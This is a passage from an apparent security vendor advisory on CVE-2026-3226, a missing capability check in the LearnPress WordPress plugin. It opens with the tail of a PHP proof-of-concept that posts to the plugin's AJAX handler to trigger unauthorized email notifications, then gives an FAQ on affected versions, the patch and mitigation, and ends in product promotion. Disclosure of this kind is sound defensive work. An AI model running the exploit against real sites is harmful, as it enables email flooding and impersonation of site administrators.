curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
// Check response for success indication
if (strpos($response, 'success') !== false) {
echo "Email notification triggered successfully.n";
echo "Response: $responsen";
} else {
echo "Exploit may have failed. Response: $responsen";
}
curl_close($ch);
?>
Frequently Asked Questions
What is CVE-2026-3226?
Overview of the vulnerabilityCVE-2026-3226 is a medium-severity vulnerability in the LearnPress WordPress LMS plugin that allows authenticated users with Subscriber-level access and above to trigger arbitrary email notifications. This is due to missing authorization checks in the plugin’s AJAX request handling.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from the AbstractAjax::catch_lp_ajax() method, which verifies a wp_rest nonce but does not check user capabilities. As a result, authenticated users can send POST requests to trigger email notifications without proper authorization.
Who is affected by this vulnerability?
Impacted user rolesAny WordPress site using LearnPress version 4.3.2.8 or earlier is affected. Specifically, authenticated users with Subscriber-level access or higher can exploit this vulnerability to send unauthorized emails.
How can I check if my site is vulnerable?
Identifying vulnerable versionsTo determine if your site is vulnerable, check the version of the LearnPress plugin installed. If it is version 4.3.2.8 or earlier, your site is at risk and should be updated.
How can I fix this vulnerability?
Recommended actionsThe vulnerability is patched in LearnPress version 4.3.3. Update your LearnPress plugin to this version or later to mitigate the risk of exploitation.
What does the CVSS score of 4.3 indicate?
Understanding severity levelsA CVSS score of 4.3 indicates a medium severity level. This means that while the vulnerability is not critical, it can still lead to significant issues such as email flooding and social engineering attacks.
What are the potential risks of this vulnerability?
Consequences of exploitationExploitation of this vulnerability can lead to unauthorized email notifications being sent, which may result in email flooding, social engineering attacks, and impersonation of administrative decisions, potentially damaging trust and communication.
What is the proof of concept for this vulnerability?
Demonstrating the exploitThe proof of concept provided illustrates how an authenticated user can log in and send a POST request to trigger email notifications without proper authorization checks. This demonstrates the ease of exploitation due to the lack of capability checks.
What should I do if I cannot update the plugin immediately?
Mitigation strategiesIf immediate updates are not possible, consider disabling the LearnPress plugin temporarily to prevent exploitation. Additionally, monitor user roles and access levels to minimize exposure.
How can I secure my WordPress site against similar vulnerabilities?
Best practices for securityTo enhance security, regularly update all plugins and themes, use strong passwords, implement role-based access control, and consider security plugins that monitor for vulnerabilities.
Where can I find more information about CVE-2026-3226?
Additional resourcesMore information about CVE-2026-3226 can be found on the National Vulnerability Database or the official LearnPress documentation, which provides details about the vulnerability and the patch.
What is the role of nonce in this vulnerability?
Understanding nonce usageIn this context, the nonce is used to verify that the request is coming from a legitimate source. However, since the plugin does not check user capabilities, it allows authenticated users to exploit the nonce verification to trigger unauthorized actions.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






